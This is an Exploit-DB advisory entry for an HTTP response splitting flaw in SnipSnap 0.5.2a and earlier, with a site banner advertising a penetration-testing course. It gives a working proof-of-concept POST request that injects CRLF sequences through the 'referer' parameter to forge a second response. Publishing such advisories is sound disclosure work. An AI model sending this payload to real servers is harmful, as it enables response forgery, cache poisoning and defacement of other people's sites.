SnipSnap 0.5.2 - HTTP Response Splitting

EDB-ID:

24598




Platform:

Multiple

Date:

2004-09-14


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

source: https://www.securityfocus.com/bid/11180/info

SnipSnap is reported prone to an HTTP response splitting vulnerability. The issue exists in the 'referer' parameter. The issue presents itself due to a flaw in the application that allows an attacker to manipulate how POST requests are handled.

This issue was identified in SnipSnap 0.5.2a and prior.

The following proof of concept example is available: 
POST /exec/authenticate HTTP/1.0
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-length: 197

referer=abc%0d%0aConnection:%20keep-alive%0d%0aContent-Length:%200%0d%0a%0d%
0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:20%0d%
0a%0d%0a<html>0wned!!</html>&cancel=cancel